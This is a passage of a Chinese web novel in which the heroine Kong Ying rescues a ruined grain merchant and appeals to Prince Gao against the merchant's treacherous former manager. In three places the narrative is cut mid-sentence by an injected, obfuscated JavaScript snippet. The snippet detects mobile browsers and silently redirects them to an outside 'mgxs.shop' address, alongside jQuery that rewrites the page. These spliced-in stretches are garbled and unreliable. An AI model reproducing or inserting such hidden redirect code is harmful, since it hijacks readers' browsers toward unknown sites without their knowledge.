孔英莫名被她说得不好意思起来,拱手回礼:“这次要多谢你,不然我还没办法潜入郡守府,下次如果再有恶人,我定叫上你。” 陈飞燕一听就知道孔英和自己说得不是同种事,不过自己现在心情好,也不想反驳财神爷的话,一笑而过。 “可我该怎么联系你呢?” 陈飞燕摆摆手:“这个简单,你可知道各个州郡的黑市?你只需要找到黑市买卖消息的老板,和他说句‘寻踪迷影无,逐光无路远’的暗号,自然会有人将你的消息传递给我。” 孔英听完大感震撼。她当然听说过黑市之类见不得光交易,但在护国公的管教下,她总没机会亲自去试一试。就算真有什么东西要从黑市上买,也有人替她代劳。 如今听陈飞燕提起来,才真正对眼前人江洋大盗的身份有了实感。 “黑市这么神奇?” “那当然,本就是三教九流混杂之地,英雄若有什么想知道的消息也可去黑市试试,就是价钱不便宜。”说着说着恍悟,“不过英雄现在可不缺那点银子。” 孔英听得好奇心起,想着以后若有机会一定要亲自去黑市走一遭。 告别陈飞燕,不知道下次再见是什么时候。 回到暂住的客栈,小二说刚才有人给孔英送来一封信。孔英一脸疑惑,心想着自己在南至郡也没什么熟人。 拆开携带着淡淡幽香的信封,见信纸上娟秀雅致的字迹,她心底微颤。 这是安清姿寄来的信,信上说官府并无实际证据说明她和郡守府失窃有关,只是甘复从中作梗要为难她,幸好有位曾经的恩客保下自己。 如今安清姿已随着这位恩客去往京城,只等何时孔英回归京城,两人可再相见。 “盼望君安。”信的末尾如此写道。 孔英放下信纸,暗自庆幸安清姿没出什么事。至于信中所说的回去京城…… 当初离家出走是为抗议护国公为她乱点鸳鸯谱,也是为亲眼看看话本里所说的江湖。孔英还真没考虑过要什么时候回去的问题。 刚出走时还是初春,现在已快盛夏。 哎,也不知道老头子怎么样了,儿女都不在身边,会不会有些寂寞。 远在京城,正在和国师谈天畅饮的护国公突然背后凉凉,摸了摸鼻子总觉得有人在念叨自己。 孔英捏紧信纸,决定等登上岱山之后就回家。到时候要是护国公还没放弃将她嫁出去的想法,大不了自己再出走一回呗。 19. 孔英要享食帮伤患 南至郡多平原少丘壑,粮食产量高,每年收获季可见粮食随着漕运水路被运往北边,有“南湖熟,天下足”的美誉。 在未到南至郡时,孔英就见到了沿途平坦辽阔的农田。她还从未见过这样的情景,自然觉得十分新鲜,到了南至郡才发现连城里都有不少农田。 她往田边菜场里走,有的瓜果蔬菜和在京城护国公府里见到的居然差不多。有些在京城被奉为“菜中鱼脍”的嫩菜芽,在南至郡一抓一大把。 “这也难怪,最最好吃鲜嫩的,自然是要在其产地才能吃着。”楼修生解释,“就算是有心送上京城,运送的船在水上飘几天,入口的风味也肯定大不如前。” 孔英感叹:“真是,要不是出来走一遭,我在京城还吃不到这些呢。” 楼修生以折扇掩面笑道:“难道你在京城吃的好物少了?也会看上这些家常小菜。” 孔英道:“话也不是这么说,各地都有其独特的美味。京城好在啥都能吃到,但是正宗的却也不多。 “再说,你要觉得不好吃就把筷子放下,别跟我抢了啊!” 回应她的是楼修生又夹了一筷子她面前的菜芽。 安清姿离开后,两人回到从前习惯的相处模式。虽然最开始知道楼修生的男子身份还有些别扭,总觉得眼前人怎么看怎么像个娇滴滴的小娘子。 只是随着相处时间越来越多,她对这件事情的接受度也越来越高。毕竟世界之大,有她这样的女人,也会有楼修生这样的男人。 正在二楼临窗吃着饭,突然听见楼外大街上传来喧闹。孔英好奇探出脑袋去凑热闹,却见一番鸡飞狗跳的混乱场面。 一男子捂住一面脸颊,愤怒道:“好啊万两金,你个破落户敢打我!” 对面被旁人拦住双手的人梗着脖子,气得满脸涨红,啐了一口:“打的就是你!你个背信弃义的奸诈小人,要不是我,你还不知道在什么街头巷角讨食呢!” 对面的男子带了小厮,一声令下就出来几个仆人压住万两金,脚踹着对方的膝盖,要强迫他跪下认错。 有路人看不下去上前帮忙,一时间许多人混杂在一起,尘土飞扬看不清谁更甚一筹。只能听见时不时传出的尖声叫骂。 “放屁!你说的好听,不就是把我当狗使唤。” “郭方你个畜生不如的东西,你比摇尾乞怜的狗还贱呐!” “哎你还敢骂!给我狠狠打他的嘴!” 孔英从上往下看,目明如她也只能看到几只扭打在一起的手脚。不由得咂舌,莫名想起先前在容水县山寨里的打斗。幸好那时没有以一挑多,不然如此狼狈的恐怕就是自己了。 哎呀呀,她这种英雄豪杰还是更适合一对一的正义决斗。 街边的混战还在进行,劝架不过的路人只好速速离开,不去管这些乱七八糟的事情。那个名字叫做“万两金”的人渐渐处于下风,最终被郭广的小厮压倒在地。 郭广也没多好,身上衣衫在乱斗中被扯得破破烂烂,脸上挨了好几拳,最严重的就是万两金最开始打在他脸上的那记重拳,整个半张脸肿得想馒头。 他说话口齿不清,但也能听出是在嘲笑以脸着地的万两金:“你再骂啊!现在乖乖跟我道歉,我还能给你个体面。” 孔英见被按倒的万两金,心想着这人说话好笑,都闹成了这副样子还能如何体面。 “楼下的戏就这般好看,让你连饭都舍不得吃了?”楼修生冷不丁开口。 孔英猛然回神,才发现桌上的饭菜都快凉了。只是刚被挑起八卦的心思,她草草塞了几口饭菜就撂下筷子。 “这样的戏码可不常见,我下去近距离看看。” 楼修生咬了咬牙,对孔英想一出是一出的性子无可奈何,知道对方又燃起了仗义助人的情结,只好唤来小二结账后急匆匆跟着下去。 还没等他到楼下,却碰见了失望回来的孔英。 “害,我不就迟了几步,那些人居然都散光了。” 楼修生停下脚步,见孔英念叨着回去再吃点儿,无奈地摇摇头。 这人真是…… 这样想的不只是楼修生,还有偶遇万两金的孔英。 孔英原本是去买辆更大更宽敞的马车,却居然瞧见了被揍得鼻青脸肿的万两金。她好奇上前,那人正衣衫褴褛躺在巷子里的阴影处,疼得满头冷汗。 好惨。 压抑不住多管闲事的心,孔英真诚发问:“你可还好,要不要送你去医馆?” 万两金迷迷糊糊间听到一道女声,勉强睁开眼,只觉得视线被冷汗模糊。他被郭广的人丢到这处小巷,没想到还有人正巧路过,颤抖着手拉上对方的裤脚: “救我……” 这话简直就是戳在了孔英心上,她最爱好的就是救人于水火。虽然她还没搞清楚万两金和郭广到底有什么恩怨,为什么会被打得这么惨,但并不妨碍她帮个举手之劳。 万两金再次醒来已是在医馆,身上大大小小的伤处已经被敷上草药,清清凉凉泛着苦涩气息。 “终于醒了。” 万两金顺着声音望去,见是一位美得雌雄莫辨的冷面郎君,对方好像不怎么待见他,看向自己的眼里尽是不耐烦。 万两金有些摸不着头脑:“是你救了我?”他怎么记得是个声音挺好听的小姑娘。 楼修生没好气得翻了个白眼:“我可没这么好心,救你的人有事要忙,让我来照顾你。” 楼修生心里还气着呢。明明孔英只是出去买辆马车,说以后赶路更便利,却突然差人给他带口信说速来医馆。 他担心得要死,火急火燎赶到医馆,却得知孔英是让他来照顾另一个受伤的男人。 “你醒了就快点走,我又不是闲得没事做偏偏要来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288439|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照顾你。”楼修生皱着眉头催促。 被嫌弃的万两金:“……” 他轻咳几声,声音里还带着虚弱:“至少让我亲口向恩人道句谢,不然我实在心里难安。” 楼修生冷嘲热讽:“谁稀罕似的。看你这伤肯定是惹了什么仇敌,真和你扯上关系,保不齐还会被你仇人恨上。你若真要谢她,就识相点自己离开。” 万两金脸色微变,自己也知道眼前人虽然说话难听,但是句句在理。 郭广小人行径,大庭广众下都敢将他打成重伤,简直是目无王法。越想越气,万两金恨不得再重回和郭广的对峙,虽然对方人多势众打不过,至少嘴上骂得再出气些。 若是连累恩人,自己真是过意不去。 万两金叹气,挣扎着忍痛起身:“兄台说得对,那我便不多打扰。请您向恩人转告一句,若是有麻烦,尽可来城西找我万两金。” 楼修生没把这话当回事。万两金自己都成这幅样子了,难道还能解决什么麻烦?只是句不找实际的海口罢了。瞧着对方一瘸一拐走出医馆,定定坐着,并不打算搀扶。 孔英带着新的气派马车回来医馆,发现只剩下楼修生一个人。 “欸,那人呢?” 楼修生和颜悦色:“他自觉好了许多,就先行回家了。” 孔英不疑有他,只是愣愣点头:“那也好,不过他那伤怎么好得这么快,大夫还说要静养好些天呢。” “或许是家中有急事?真在医馆躺上几天反而耽误了事。” 孔英点点头表示理解,看对方被揍得这么惨,不用想也知道肯定是出了什么事,着急回家也合理。 转而将万两金抛在脑后,兴奋道:“你去看看我们的新马车,我可是挑了好久呢。” 楼修生对她话中的“我们”感到十分受用,不由自主被对方的欣喜感染。他本人倒是不在乎这些旅途上的享乐,只是孔英见他这几天接连赶路唇色发白,主动说着要去买辆更稳当的马车。 见到轮子比寻常马车宽得多的新马车,楼修生心下触动。 孔英见楼修生围着马车转,自得道:“造车的木匠可是说了,这马车就算在崎岖的山路行走也如履平地呢。” 楼修生心头蔓延出一股又酸又甜的情绪。明知道孔英的所作所为只是出于责任感,但对方恰到好处的细节总是让他动容。 怎么办呢孔英,如果有一天我让你失望了,你会责怪我吗? “为什么会对你失望?” 听到回复,楼修生才惊觉自己竟然将心里话问出了口。 孔英满脸不解:“你作为小弟不就是一直没帮上什么忙嘛,这我都习惯了。况且你也不是一无是处,晚上按摩得还挺好呢。” 楼修生想起孔英偶尔还是会让他帮着放松肌肉,思路被跟着带歪,不自在地红了脸:“……算了,你喜欢就好。” 20. 孔英要受谢听往事 楼修生还没因为马车的事高兴几天,就在见到孔英身后熟悉的人时黑下脸。 还真是阴魂不散啊…… 听孔英的吩咐给对方倒了盏茶,对万两金皮笑肉不笑,落座。他倒要听听这次的缘由是什么事情。 万两金总觉得身上有道阴森森的目光,看得他背后发凉,四处张望却只看见楼修生“和善”的笑,摸不着脑袋。 “我这次来是专门为了感谢孔姑娘,这是准备的一点薄礼,还请孔姑娘收下。” 孔英见对方手上大包小包,心里难免好奇:“这些都是什么啊?” 万两金不觉得对方无礼,解释道:“这些都是郡中特产,我听孔姑娘不像是本地人,便准备了些别处买不到的瓜果零嘴,这些东西在我铺子里可受小姑娘欢迎了。” 楼修生微嘲:“你还真是用心良苦。” 万两金听他语气奇怪,怀疑难道是对方不喜欢这些小姑娘的零嘴,后悔当时就该多备些,歉意道:“兄台,来得匆忙没顾上你,你若有什么想吃的尽管告诉我,我下次给你带。” 楼修生冷哼一声。 孔英打开一看,竟然有不少是她见都没见过的,兴奋道:“嘿呀太客气啦,你身子如何?” 万两金故意抬了抬手脚,宽慰道:“托孔姑娘的福已经好了许多。要不是有孔姑娘,那天我还不知道会是个什么结果。” 孔英摆摆手:“救你不过是举手之劳,”又问道,“你居然还有间粮食铺子?” 提到这茬,万两金脸上涌现出落寞,强颜欢笑道:“现在还是有的,不过三日之后就没有了。” 孔英往嘴里塞了颗果脯,顺手给楼修生递了些,问道:“你是要把铺子卖了?”万两金苦笑着点点头。 孔英见他这幅样子,想必其中必定有隐情,追问:“是和那天打伤你的人有关?” 万两金语气中显露出苦涩:“那人也不过是听命行事,只能怨这世道太不公平。” 孔英拍案而起,楼修生见她义愤填膺的样子就知道孔英又要瞎好心,塞了颗梅子堵住她的嘴,淡淡然道:“这世道确实不公平,但我们帮了你,你也还了礼,这就算两清。” 楼修生说得凉薄,万两金听出对方话里赶人的意思,眼见两人十分自然的动作,心里有几分猜测,恍然大悟下总算明白过来楼修生对自己的微妙的敌意源自何处。 不过他见的人多,看得出两人不过是襄王有意神女无情,人家孔姑娘大概还没意识到身边人的心思呢。暗笑自己的迟钝,但不过多掺和,也顺着楼修生的意思就要拱手告辞。 孔英还没弄明白其中故事,万两金又突然要走,只当是对方不好意思开口,忙两三下吃掉酸甜可口的梅子,挽留道: “你要不说说看?指不定我们还能帮你。” 此话一出,其余两人的反应大不相同。楼修生暗恼连吃的都不能阻止孔英滥好心,万两金诧异对方居然如此纯善,帮了自己一次还要帮第二次。 略带歉意向楼修生递过去一眼,心安理得再次落座,大倒起苦水来。 万两金原本是南至郡颇有名气的粮商,掌管大部分粮食漕运往来,家中光景极好,郭广是他从底下铺子中挑中的管事。 郭广其人,机灵能干,虽说原本是罪人之子,出身不太好看。但万两金向来不拘一格降人才,慧眼识珠选出郭广。事实证明郭广没有辜负他的信任,上任三年,铺子的营收蒸蒸日上。 原本这样下去会是个所有人努力奋斗致富的励志故事,却没想到突然传来某批运往京城漕运船翻的消息,整整三十二条大船,无一例外全部翻覆。 京城全是大主顾,万两金得罪不起,火急火燎各种调度,忙得焦头烂额,损失惨重好不容易才将这窟窿堵上。了结此事后百思不得其解,明明这条航线走过许多回都平安无事,怎么一下子翻了船? 追责之下才得知,原来是郭广下令在本就满满当当的船上又加了许多货物,这才导致翻船,还险些害死船夫。 万两金叹息:“原本我是真看好他,谁能想到后来发生的事。” 这件事仿佛是个机关,一旦打开,所有原本被掩盖的阴暗面全部显现出来。陆续有人向万两金举报郭广平日借用职务之便中饱私囊,不知从这粮食生意中捞了多少油水。 万两金不敢置信在自己面前老实本分的郭广居然还藏了这样一副面孔,但是旁人送上来的证据却不由得他不相信。 郭广起先还不承认,面对铁证哑口无言,转而向万两金哭诉自己的不易。 他父亲原本是个小官,后来被剥夺官身入狱。他母亲四处奔走求情无济于事,反而将身子累坏,落下个心悸的毛病,治病吃药就得花不少钱。 郭广一个罪人之子有什么办法呢?他空有抱负和才华,除了万两金几乎没有人敢任用他。得到万两金重用,他确实想好好干。 可是郭广发现,无论自己如何努力,最终还是比不上那些个富家子弟,比如万两金。 万两金虽然掌握着南至郡一带的粮食漕运,但却不是从自己一代发家,而是蒙受父辈荫庇,万两金之姨父便是前任漕运总督,父亲做的就是收粮运粮卖粮的活,到了万两金这一辈便自然而然地接任父亲职务。 “郭广大抵觉得我躺在钱堆上,天天只需使唤别人就能有源源不断的钱生出来。”万两金愤愤。 孔英出声:“可你能成为此地财主,确实很难与父辈势力脱开关系啊。” 万两金一哑,为自己辩解:“恩人你有所不知,实际上我姨父和父亲后来翻脸,我父亲的事业差点就要毁于一旦,我为挽救维持这些漕运路线着实是花费了不少精力啊! “我能接触这门生意确实有父亲的原因,但要说我是个只靠爹的纨绔子弟,我是万万不认的!” 万两金少年时家境很是风光,父亲十分器重他这个独子,常带着彼时尚年幼的万两金在铺子里处理生意往来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288440|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳濡目染之下,万两金从小便懂得不少经商之道和识人之术。 他们家和姨父家的关系十分要好,万两金和表妹更是青梅竹马一起长大,家中长辈常取笑着说要给两人订亲。直到某日,姨父和父亲在书房大吵一架,姨父愤而出走,两家自此疏远不再往来。 楼修生问:“你原来还有个订亲的表妹?”同时眼神瞟向孔英。 万两金叹气:“只是长辈的笑言,未曾有正式婚书。后来姨父迁官别处,带着家人全离开了南至郡,我与表妹再没见过。” 孔英八卦心起:“连书信往来也不曾有?看你这样子,心里像是还牵挂着她呢。” 万两金苦笑:“自从姨父和父亲闹翻,父亲便严令禁止我与表妹往来,寄出的信件全被截下,我那时年少不得法,只好听令。接管家业后,我借船运的机会四处打听姨父一家的消息,才得知表妹已嫁为人妇。虽不甘心,但也不好去打扰。 “只能说造化弄人。” 孔英唏嘘一对有情人分离,见对方颓废的样子,问起别的话:“你既已上手家业,又如何沦落到这般境地?” 万两金捏起茶杯,将茶水一饮而尽,咬牙切齿:“还不是郭广那个忘恩负义的小人。” 当初万两金听了郭广的哭诉,毕竟对方是自己一手提拔上来的人,自己心底也不好受。但是此次翻船之事实在是牵扯出了太多额外的事,就算自己有心放郭广一马,让手底下其他人作何想? 想到郭广病重的母亲,万两金只好自己掏钱补上窟窿,没再跟郭广要赔偿,只是将他免除一切职务扫地出门。坦诚来讲,万两金实在觉得自己已仁至义尽。 可郭广却不这么想。 万两金没有掩盖翻船的缘由,其他商家听说万老板因郭广损失惨重,哪里还会仍用他。加上先前郭广得势时心高气傲,如今虎落平阳,少不了冷嘲热讽。 压垮他的最后一根稻草,是母亲去世。 原本郭广之母勉强提着一口气就是想着等丈夫平反出狱,自己一家都能恢复清白。可随着丈夫死在狱中的消息传来,这一口气也消逝了,连带着身体迅速衰弱下去。 郭广四处求人借钱,却连门都进不去,家中但凡值钱的东西都变卖了,最后只能眼睁睁看着母亲在草席上咽气,最后将草席一裹,这条轻贱的人命被抛在荒郊野外的孤坟里。 “倒也是个可怜人。” “可怜之人必有可恨之处。” 彻底成为孤家寡人的郭广消失在南至郡中,再次出现却成了高王身边的红人。高王是当今圣上的堂弟,当初跟着圣上打江山,圣上登基之后被封为“高王”,封地就在南至郡。 郭广似乎专门为了报复而来,当初将他拒之门外的几户人家都受到清算,而万两金更是逃不开。商不和官斗,万两金本想忍气吞声,可对方已打定主意赶尽杀绝。 单方面的打压之下,万两金就只剩下了一件铺子,且几天之后就要出卖。 21. 孔英要仗势访高王 “可是郭广如此欺压人,高王也不管?” 高王与护国公交情不浅,自孔英有印象起,每逢生辰便能收到来自高王的贺礼。只是对方一直不在京城,孔英向来是只能从护国公嘴里听说这个爱护她的长辈。 直到某次圣上四十寿辰,孔英才有机会在宫宴上见过一回高王,那人蓄了形似关公的长胡子,看上去不太好接近。唯有年幼的孔英天不怕地不怕,还想去拔下来看看,幸好护国公眼疾手快,才叫高王的胡子幸免遇难。 高王与护国公似乎有些交情,因而并不在意,反而乐呵呵地主动将胡子末尾塞到孔英手里让她把玩。结局嘛,自然是高王加深了对护国公三小姐威名的认识。 孔英印象里的高王没什么架子,他本就是草莽出身,跟着堂哥四处征战阴差阳错成了王爷,行事作风还带着在民间时的随意,全不像个会仍由手下人狐假虎威的人。 “也不是没人将状告到高王跟前去,只是殿下不知怎么的,只相信郭广,别人的话一概不听。” 万两金欲言又止,皱着眉头有些纠结,声量小了不少:“有人就传,说是殿下和郭广……有些首尾。” 他说得委婉,孔英不甚明白还想追问:“郭广跟着高王做事,两人自然有联系,为何你要说得如此忸怩?” 万两金面上尴尬,当着姑娘家的面,支支吾吾不知怎么说才好,眼见孔英越来越不耐烦,最后破罐子破摔道: “哎呀,就是说高王有龙阳之好,而郭广是他的入幕之宾。” 这下子孔英彻底听明白了,惊诧之下连手里的果脯都掉在了地上。 “怪不得……” 原本跟着圣上打江山的那批人大多已有妻眷,像护国公连孩子都有三个了,而高王依旧孤身一人。当时在宫宴,圣上念高王未娶妻,提了一嘴要给他赐婚的事,高王婉言推辞,只说自己没有要成家的心思。 没想到还有这么层缘由。 思及此,孔英不由得想起另一位一直未娶妻生子的人——国师。 得益于国师和护国公的深厚友谊,孔英也常在护国公府里碰见他。虽然对方对孔英还算友善,但孔英莫名就是对这个传说中智多近妖的国师亲近不起来,为此没少被护国公说教。 如果高王是……国师会不会也是……如果国师是……那他一直接近她爹是……? 孔英打了个寒颤,觉得自己联想过了头,但还是决定回家后好好责问责问家里的老头。 万两金为自己的话找补:“此事涉人隐秘,难说是不是旁人有心编排,毕竟没人敢去求证。” 别人是不敢,但是孔英可不一样,从小养成的肆意性子让她鲜少有担忧的事,做决定从来嘴快于恼,张口就问: “你可知道高王府在哪里?” 一刻钟后,三人齐齐站于高王府门前。 望着眼前的高门红墙,劝了孔英一路的万两金额头渗出冷汗:“恩人,这种事可不能随意玩笑,千万三思后行啊。” 孔英摆手:“没事,你不用进去,等我出来之后听我好消息便是。” “我断然不会让恩人孤身犯险,只是想见高王一面哪有这么容易呢,只怕我们连王府的门都进不去啊。” 万两金还想多劝几句,就见孔英独自上前和王府前的侍卫交谈几句,侍卫进门进门后不多一会儿,王府大门直直敞开。 万两金目瞪口呆,见楼修生也进了王府,咬咬牙跟上,小声询问孔英:“你这是说了什么?” 孔英面上云淡风轻:“哦,我父亲和高王殿下是旧识。” 万两金大惊,没想到对方不显山不露水,居然有这样大的来头。还想多问几句,却迎面撞上大步而来的华服美髯公,猜出对方就是高王,忙跪下行礼。 孔英正想屈身行礼,被高王扶起。她抬起头,只见高王下半张脸被胡子遮得干净,可眉眼弯弯笑得和蔼可亲。多年不见,怎么高王好似不会老般,依旧是记忆里的样子。 乍然收到孔英来到南至郡的消息,高王还十分惊喜:“你这丫头怎么来了南至郡,可是来游玩?你父亲也没派人向我说一声。” 他态度亲昵,熟络的样子完全看不出只和孔英见过一面。孔英反倒不自在起来,心虚地嘀咕着护国公大概还不知道她来了南至郡,寒暄几句,没等高王继续发问就连忙扯开话题。 “高王殿下,此次前来其实是想找您主持公道。” 高王挑眉,眼前的小丫头倒是半点不客气,索性自己也厌烦那些个客套话,带着孔英三人进入大堂详聊。 孔英讲过前因后果,默默避开高王和郭广的传闻,重点讲了郭广行事的奸诈。 万两金在旁边听得心惊胆战,是不是偷瞄几眼高王的脸色。心里琢磨着孔英背后到底是何等人物,敢这样和王爷说话。要是郭广真和高王殿下有不清不楚的关系,这当面告状简直就是打人家的脸嘛! 楼修生倒是悠游自在,沉默得成了个隐形人。万两金不知道的事,他可是知道得一清二楚。甚至连孔英都未曾知晓的某件秘闻,他也了然于胸。 因而楼修生根本不担心高王殿下会对孔英发怒,更别提对方听孔英告状时,脸上笑得格外宠溺,哪里有半点要发火的样子。 孔英说得口干舌燥,拿起桌上的瓷杯喝一口茶,意外地发现这茶还带着淡淡的花香,自有一股清甜口感。眼睛一亮,不自觉间将整杯花茶喝了个干净。 高王挥手示意下人添茶水道:“这可是南至郡的特产,别处可不常见,你要是喜欢就拿些走。” 孔英知道自己的贪样被高王看得一清二楚,不好意思地笑笑,不过也不客气:“那就谢过高王殿下了。” 高王捋了把长须,笑道:“不用拘谨,当年我和你父亲可是差点成了结拜兄弟,你叫我声‘伯伯’都行。” 万两金听了,惊得差点从木椅上掉下来,对孔英的身份更是好奇,脑袋里搜索着哪位高官贵人姓“孔”。同时也感叹自己真是走了大运,遇上这么个热心肠的贵女, 孔英只知道高王和自家爹关系不错,却没想到两人关系好到如此地步。既然对方都如此说了,她便从善如流叫了句“伯伯”。 高王应得高兴,当下便指派人去彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288441|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查郭广的行事,一旦发现对方仗着自己的名头胡作非为,立刻严肃处置。 两三句话,轻飘飘地便解决了困扰万两金许久的事。他晕晕乎乎跪下谢恩,视角里只剩下高王绣着金线的鞋履。 高王要留下孔英用膳,楼修生厚脸皮跟着一起。而万两金不用想也知道自己不便停留,借口离开。 走出高王府时已夜色渐生,街头门户点燃红灯笼,看上去热闹非凡。万两金恍恍惚惚,回头看了一眼高王府邸。 被狂喜砸晕的脑袋清醒过来,他想不通。 看上去郭广对高王无足轻重,高王之前又为何要袒护对方?孔英究竟是哪家小姐,居然能如此被高王看重? 他一介商人,信奉有来有往,高王帮了他们,又是想要得到什么呢? 疑云笼罩万两金,吃得正爽的孔英显然没有这些疑虑。 她早就尝过酒楼里的特色菜,而王府里的菜肴明显更甚一筹,满嘴鲜香,好吃得几乎要将舌头咬掉,对桌上的珍馐赞不绝口。 高王似乎很喜欢看孔英吃饭的样子,感叹道:“你这狼吞虎咽的模样简直和孔青雄从一个模子里刻出来。想当年我们行军征战,遇上困难的时候,连吃饭都得靠抢。你爹真是饿死鬼投胎,没几个人抢得过他。” 孔英一听这话,赞同地点点头:“我爹真饿的时候连我的饭都抢呢!” 高王哈哈大笑,道:“你既然来了南至郡,就让我尽一尽地主之谊,在这府里住下,想吃什么用什么尽管说。” 孔英一噎,还想解释自己早就找好了住店,就听高王命小厨房多备些零嘴送到府上客房,一时语塞,拒绝的话在嘴边打转却说不出来,只好应下。 暗想着自家爹和高王的关系还真是好,让高王对她如此热情。 既然自己要在高王府住下,也不好让楼修生独自回住店。 高王听孔英解释了楼修生的身份,夸孔英果然有大侠风范,小小年纪就知道要组建自己的势力,果然是巾帼不让须眉,英雄出少年。 等终于结束了晚宴,高王有事要去处理,让下人带着两人去客房。高王走后,孔英不由得松了口气。 虽说护国公对她也诸多宠爱,但毕竟有夸有罚,像高王这样无论孔英做什么事情都能夸出花来的长辈,还让她有些消受不起,觉得十分别扭。 “太奇怪了,你说难道是我的问题?怎么被人夸了还不舒服呢。”她忍不住问楼修生。 楼修生宽慰她:“你和高王殿下不熟悉,殿下这般热情确实让人难以招架。只是你怕是得尽快习惯才好,看殿下的样子,只要我们留在南至郡一日,殿下就会款待我们一日。” 孔英回想着刚才晚膳时的气氛,当机立断等解决了当下的事就要立刻上路。 第二日一早,孔英刚拉着楼修生练完早功,转头就见高王盯着两人目不转睛。 “你这些招式是你爹教的?”孔英点头。 高王被胡子遮了半张脸,称赞孔英有护国公当年的风范,炯炯有神的眼睛里透露出几分对过往的回忆,又提起郭广的事情已经探查清楚。 22. 孔英要饯别遇刺客 万两金得知郭广被赶出南至郡时心中五味杂陈。 郭广之前的作为得罪了许多人,接下来的日子不会好过。他与郭广虽然之间已然成为仇敌,却没有落进下石,悄悄派人送去些吃食补给,只希望郭广能够想开,也不枉费他从前如此看重对方。 万两金又一次提着东西拜访孔英,一是为感谢,二也知道孔英身份不凡之后想多和对方往来:“要不是恩人,我真是不知道以后的日子要怎么过。” “无事。你可有想好接下来的打算?” 万两金犹豫道:“总归先将仅剩的铺子经营好,其他的慢慢买回来。” 孔英提议:“不若这样,我先将部分店面买下,你替我经营。等以后你有了钱再买回去。” 这可不是孔英一拍脑袋想出来的,而是和楼修生商讨之后的决定。她手上的钱存在钱庄里也是死钱,还不去去做点买卖,免得坐吃山空,以后路上再为钱财窘迫。 万两金细细思虑。如果光靠自己,也不知道什么时候才能恢复从前的家业,孔英愿意助他一臂之力,肯定比自己慢慢攒要快得多,于是欣然应下。 “只是高王那边可愿意卖出?” 郭广本就是打着高王的旗号强买了万两金的产业,如今他已走,产业自然是落到高王手中。 孔英不好用父辈的情谊再请高王帮忙,她对于生意简直一窍不通,谈判技巧半点也无,问过万两金,硬着头皮找高王开出个十分公道的价格。 高王捋捋胡须,笑眯眯将票据全交给了孔英,只说自己不缺吃穿用住,还不至于惦念那些小钱。听得孔英直咂舌,原来自己的全部身家在高王看来竟是一碟小菜。 略去其中辗转,最后的结果便是孔英成了粮食漕运产业的名义拥有者,实际上则由万两金经营。 “这么看起来,倒像是我捡了个大便宜。”孔英嘀咕着。 什么力气也不用出,只需前期投入些资金,每个月便有万两金将收入送过来。这样的好事哪里能碰着? “如果你当初没有滥发好心救下万两金,没替他与其他受冤屈的人讨公道,这样的大饼也砸不到你头上。” 在楼修生看来,每人有每人的机遇。世事差一点便是阴差阳错,他也感慨孔英运气好,种下的善因能结出如此硕果。 “我还是得提醒你一句,热心肠不是坏事,但也得分清楚哪些人可帮,哪些人不可帮。如果你遇到的不是万两金,而是当初落魄的郭广,是否也会帮他?” 孔英摸摸鼻子,不得不承认楼修生说得对。按照自己的性格,见郭广那般境遇,肯定会搭一把手。要是对方心术不正,自己的一片好心反而助长其嚣张气焰。 但是总不能因为遇到个坏人就杯弓蛇影,相信世上不存在好人了吧。 楼修生一见孔英的表情就知道对方还是固执己见。算了,等她真在这种事上摔个跟头就知晓其中道理了。 忙碌几日,总算是交接完了所有事。孔英一声长叹,这几天她四处奔走,在万两金的帮助下掌握了各种店面的基本情况,真是累得够呛。 好在事情了结,她明早就能继续上路,去往岱山。 高王劝孔英多呆几日,南至郡还有不少地方可逛可游玩,见实在劝不动,只好在孔英临行前的晚上给她办个送别宴。 孔英多次说一切从简就好,总算劝下对方大摆筵席的念头。 “这几日谢过伯伯招待。”孔英用清甜的花茶代酒,向高王真诚道谢。 高王语气里带着几分惆怅:“哎,我见了你就仿佛自己有了个女儿般,只可惜你不愿多多陪陪我这个孤寡的老头。” 孔英听对方如此说,想起万两金说过的传闻,大着胆子问:“伯伯这些年难道就没有遇上个贴心人?” 高王道:“你这小丫头好奇的事情还挺多。”不多计较小辈对长辈的过问,只说,“贴心人又不是街上能随便抓到的,世间知己最难求啊。” 他看着孔英似懂非懂的神情,笑出声:“你一路从京城来到这南至郡,路上可有遇到哪家好儿郎?” 楼修生默默竖起耳朵。 好儿郎?孔英拧眉,不知道怎么话题突然转到了自己身上。她细细回想了曾遇到的所有人,一张张或喜或嗔的面孔在脑海中闪过。 她明白高王的意思是问自己是否有芳心暗许的男子,可是孔英将自己认识的所有人想了个遍,还是觉得压根没什么人值得自己心动。 